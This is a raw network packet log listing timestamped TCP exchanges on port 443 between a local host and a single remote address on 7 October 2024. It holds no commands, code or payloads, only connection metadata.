Oct 7, 2024 21:18:23.248605967 CEST	49758	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:23.249278069 CEST	49759	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:23.249314070 CEST	443	49759	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:23.250319004 CEST	49758	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:23.250332117 CEST	443	49758	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:23.250756025 CEST	49760	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:23.250777960 CEST	443	49760	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:23.250875950 CEST	49760	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:23.251025915 CEST	49760	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:23.251049995 CEST	443	49760	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:23.252208948 CEST	443	49753	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:23.252357960 CEST	443	49753	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:23.252631903 CEST	49753	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:23.252671957 CEST	49753	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:23.252671957 CEST	49753	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:23.252691031 CEST	443	49753	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:23.252712011 CEST	443	49753	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:23.254966021 CEST	49761	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:23.254978895 CEST	443	49761	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:23.255209923 CEST	49761	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:23.255209923 CEST	49761	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:23.255230904 CEST	443	49761	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:23.332844019 CEST	443	49756	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:23.333496094 CEST	49756	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:23.333559036 CEST	443	49756	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:23.334992886 CEST	49756	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:23.335006952 CEST	443	49756	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:23.447546005 CEST	443	49756	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:23.447612047 CEST	443	49756	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:23.447686911 CEST	49756	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:23.448052883 CEST	49756	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:23.448052883 CEST	49756	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:23.448085070 CEST	443	49756	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:23.448105097 CEST	443	49756	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:23.451311111 CEST	49762	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:23.451358080 CEST	443	49762	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:23.451494932 CEST	49762	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:23.451841116 CEST	49762	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:23.451853991 CEST	443	49762	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:23.878654003 CEST	443	49761	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:23.882317066 CEST	49761	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:23.882348061 CEST	443	49761	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:23.888905048 CEST	443	49760	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:23.909719944 CEST	443	49759	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:23.925338984 CEST	443	49758	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:23.943428993 CEST	49760	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:23.957854986 CEST	49759	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:23.976483107 CEST	49758	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:24.069613934 CEST	49761	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:24.069638968 CEST	443	49761	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:24.074650049 CEST	443	49762	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:24.093346119 CEST	49758	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:24.093364954 CEST	443	49758	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:24.094602108 CEST	49758	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:24.094610929 CEST	443	49758	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:24.095491886 CEST	49762	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:24.095499039 CEST	443	49762	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:24.096806049 CEST	49762	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:24.096812963 CEST	443	49762	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:24.098396063 CEST	49760	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:24.098438025 CEST	443	49760	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:24.099195004 CEST	49760	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:24.099205971 CEST	443	49760	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:24.100239992 CEST	49759	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:24.100250006 CEST	443	49759	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:24.100820065 CEST	49759	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:24.100831032 CEST	443	49759	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:24.169126034 CEST	443	49761	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:24.169286966 CEST	443	49761	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:24.169440031 CEST	49761	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:24.177709103 CEST	49761	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:24.177750111 CEST	443	49761	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:24.177983999 CEST	49761	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:24.177990913 CEST	443	49761	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:24.200480938 CEST	443	49762	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:24.200537920 CEST	443	49762	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:24.203843117 CEST	49762	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:24.204106092 CEST	49763	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:24.204185963 CEST	443	49763	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:24.204350948 CEST	49762	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:24.204366922 CEST	443	49762	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:24.204374075 CEST	49762	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:24.204377890 CEST	443	49762	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:24.204386950 CEST	49763	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:24.205143929 CEST	49763	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:24.205167055 CEST	443	49763	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:24.206126928 CEST	443	49758	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:24.206199884 CEST	443	49758	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:24.206305027 CEST	49758	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:24.207053900 CEST	49758	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:24.207053900 CEST	49758	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:24.207062006 CEST	443	49758	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:24.207068920 CEST	443	49758	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:24.207274914 CEST	49764	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:24.207303047 CEST	443	49764	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:24.207417965 CEST	49764	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:24.207578897 CEST	49764	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:24.207591057 CEST	443	49764	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:24.209687948 CEST	49765	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:24.209764957 CEST	443	49765	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:24.211378098 CEST	49765	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:24.211889029 CEST	49765	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:24.211924076 CEST	443	49765	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:24.215229034 CEST	443	49760	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:24.215421915 CEST	443	49760	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:24.215543985 CEST	49760	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:24.215636969 CEST	49760	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:24.215636969 CEST	49760	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:24.215667009 CEST	443	49760	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:24.215697050 CEST	443	49760	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:24.219325066 CEST	49766	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:24.219350100 CEST	443	49766	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:24.219841957 CEST	49766	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:24.220113039 CEST	49766	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:24.220138073 CEST	443	49766	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:24.868109941 CEST	443	49764	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:24.869035006 CEST	49764	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:24.869056940 CEST	443	49764	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:24.869748116 CEST	49764	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:24.869754076 CEST	443	49764	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:24.872533083 CEST	443	49766	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:24.873055935 CEST	49766	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:24.873120070 CEST	443	49766	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:24.873558998 CEST	49766	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:24.873573065 CEST	443	49766	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:24.883843899 CEST	443	49765	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:24.884267092 CEST	49765	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:24.884283066 CEST	443	49765	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:24.884962082 CEST	49765	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:24.884974003 CEST	443	49765	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:24.887924910 CEST	443	49763	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:24.888773918 CEST	49763	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:24.888818026 CEST	443	49763	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:24.889156103 CEST	49763	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:24.889170885 CEST	443	49763	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:24.893824100 CEST	443	49759	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:24.893894911 CEST	443	49759	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:24.894138098 CEST	49759	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:24.894275904 CEST	49759	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:24.894277096 CEST	49759	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:24.894310951 CEST	443	49759	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:24.894335032 CEST	443	49759	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:24.897085905 CEST	49769	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:24.897120953 CEST	443	49769	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:24.897195101 CEST	49769	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:24.897304058 CEST	49769	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:24.897310019 CEST	443	49769	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:24.974143028 CEST	443	49764	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:24.974294901 CEST	443	49764	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:24.974358082 CEST	49764	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:24.974596977 CEST	49764	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:24.974607944 CEST	443	49764	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:24.977330923 CEST	49770	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:24.977345943 CEST	443	49770	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:24.977533102 CEST	49770	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:24.977729082 CEST	49770	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:24.977740049 CEST	443	49770	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:24.980329037 CEST	443	49766	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:24.980401993 CEST	443	49766	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:24.980452061 CEST	49766	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:24.980580091 CEST	49766	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:24.980600119 CEST	443	49766	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:24.980623007 CEST	49766	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:24.980637074 CEST	443	49766	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:24.984612942 CEST	49771	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:24.984653950 CEST	443	49771	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:24.984771967 CEST	49771	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:24.984910965 CEST	49771	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:24.984930038 CEST	443	49771	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:24.990611076 CEST	443	49765	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:24.990677118 CEST	443	49765	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:24.990788937 CEST	49765	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:24.991540909 CEST	49765	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:24.991540909 CEST	49765	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:24.991558075 CEST	443	49765	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:24.991578102 CEST	443	49765	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:24.997669935 CEST	49772	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:24.997694969 CEST	443	49772	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:24.997742891 CEST	49772	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:25.000334978 CEST	443	49763	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:25.000472069 CEST	443	49763	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:25.000592947 CEST	49763	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:25.002213955 CEST	49772	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:25.002232075 CEST	443	49772	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:25.002343893 CEST	49763	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:25.002343893 CEST	49763	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:25.002371073 CEST	443	49763	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:25.002393961 CEST	443	49763	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:25.015568972 CEST	49773	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:25.015599966 CEST	443	49773	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:25.015666962 CEST	49773	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:25.015819073 CEST	49773	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:25.015830994 CEST	443	49773	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:25.526388884 CEST	443	49769	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:25.527400970 CEST	49769	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:25.527410984 CEST	443	49769	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:25.527935028 CEST	49769	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:25.527941942 CEST	443	49769	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:25.603274107 CEST	443	49770	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:25.603872061 CEST	49770	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:25.603884935 CEST	443	49770	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:25.604418993 CEST	49770	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:25.604434013 CEST	443	49770	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:25.624766111 CEST	443	49772	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:25.624840975 CEST	443	49771	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:25.625801086 CEST	49772	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:25.625821114 CEST	443	49772	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:25.625897884 CEST	49772	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:25.625901937 CEST	443	49772	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:25.626293898 CEST	49771	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:25.626317978 CEST	443	49771	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:25.626733065 CEST	49771	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:25.626738071 CEST	443	49771	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:25.638108015 CEST	443	49769	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:25.638711929 CEST	443	49769	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:25.638801098 CEST	49769	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:25.638938904 CEST	49769	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:25.638938904 CEST	49769	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:25.638947010 CEST	443	49769	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:25.638955116 CEST	443	49769	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:25.642683983 CEST	49774	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:25.642714024 CEST	443	49774	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:25.642853975 CEST	49774	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:25.642932892 CEST	49774	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:25.642941952 CEST	443	49774	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:25.705777884 CEST	443	49773	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:25.706860065 CEST	443	49770	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:25.707005024 CEST	443	49770	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:25.707082987 CEST	49770	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:25.720278025 CEST	49773	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:25.720298052 CEST	443	49773	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:25.721025944 CEST	49773	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:25.721035004 CEST	443	49773	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:25.721296072 CEST	49770	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:25.721296072 CEST	49770	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:25.721309900 CEST	443	49770	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:25.721318960 CEST	443	49770	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:25.723854065 CEST	49775	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:25.723882914 CEST	443	49775	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:25.723999977 CEST	49775	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:25.724812984 CEST	49775	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:25.724828959 CEST	443	49775	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:25.732563972 CEST	443	49771	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:25.732626915 CEST	443	49771	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:25.732762098 CEST	49771	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:25.732925892 CEST	49771	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:25.732925892 CEST	49771	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:25.732940912 CEST	443	49771	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:25.732949972 CEST	443	49771	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:25.739753008 CEST	443	49772	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:25.739821911 CEST	443	49772	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:25.739923000 CEST	49772	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:25.740564108 CEST	49772	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:25.740564108 CEST	49772	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:25.740577936 CEST	443	49772	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:25.740586042 CEST	443	49772	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:25.750384092 CEST	49776	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:25.750478029 CEST	443	49776	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:25.750579119 CEST	49776	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:25.751481056 CEST	49776	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:25.751518011 CEST	443	49776	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:25.778590918 CEST	49777	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:25.778614998 CEST	443	49777	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:25.778685093 CEST	49777	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:25.782855988 CEST	49777	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:25.782874107 CEST	443	49777	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:25.823800087 CEST	443	49773	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:25.823956013 CEST	443	49773	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:25.824150085 CEST	49773	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:25.824758053 CEST	49773	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:25.824758053 CEST	49773	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:25.824779987 CEST	443	49773	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:25.824794054 CEST	443	49773	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:25.837865114 CEST	49778	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:25.837888956 CEST	443	49778	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:25.837971926 CEST	49778	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:25.838174105 CEST	49778	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:25.838186026 CEST	443	49778	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:26.315608025 CEST	443	49774	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:26.318515062 CEST	49774	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:26.318532944 CEST	443	49774	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:26.318993092 CEST	49774	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:26.319000959 CEST	443	49774	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:26.364862919 CEST	443	49775	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:26.365709066 CEST	49775	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:26.365720034 CEST	443	49775	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:26.366305113 CEST	49775	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:26.366309881 CEST	443	49775	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:26.427517891 CEST	443	49776	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:26.430316925 CEST	443	49774	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:26.430464983 CEST	443	49774	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:26.430536985 CEST	49776	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:26.430557966 CEST	443	49776	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:26.430572033 CEST	49774	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:26.431066990 CEST	49776	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:26.431071997 CEST	443	49776	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:26.432682037 CEST	49774	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:26.432698965 CEST	443	49774	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:26.432733059 CEST	49774	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:26.432742119 CEST	443	49774	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:26.440643072 CEST	49780	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:26.440681934 CEST	443	49780	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:26.441122055 CEST	49780	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:26.441122055 CEST	49780	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:26.441154957 CEST	443	49780	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:26.445218086 CEST	443	49777	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:26.446018934 CEST	49777	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:26.446018934 CEST	49777	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:26.446038961 CEST	443	49777	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:26.446055889 CEST	443	49777	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:26.471642017 CEST	443	49775	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:26.471693039 CEST	443	49775	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:26.472174883 CEST	49775	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:26.487690926 CEST	49775	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:26.487714052 CEST	443	49775	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:26.487725973 CEST	49775	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:26.487731934 CEST	443	49775	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:26.496309042 CEST	49781	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:26.496331930 CEST	443	49781	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:26.496397018 CEST	49781	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:26.498018980 CEST	49781	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:26.498029947 CEST	443	49781	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:26.515242100 CEST	443	49778	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:26.542231083 CEST	443	49776	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:26.542315960 CEST	443	49776	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:26.542390108 CEST	49776	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:26.561611891 CEST	49778	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:26.561635971 CEST	443	49778	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:26.561851978 CEST	49778	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:26.561856985 CEST	443	49778	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:26.562987089 CEST	49776	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:26.563005924 CEST	443	49776	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:26.563015938 CEST	49776	443	192.168.2.5	13.107.253.45
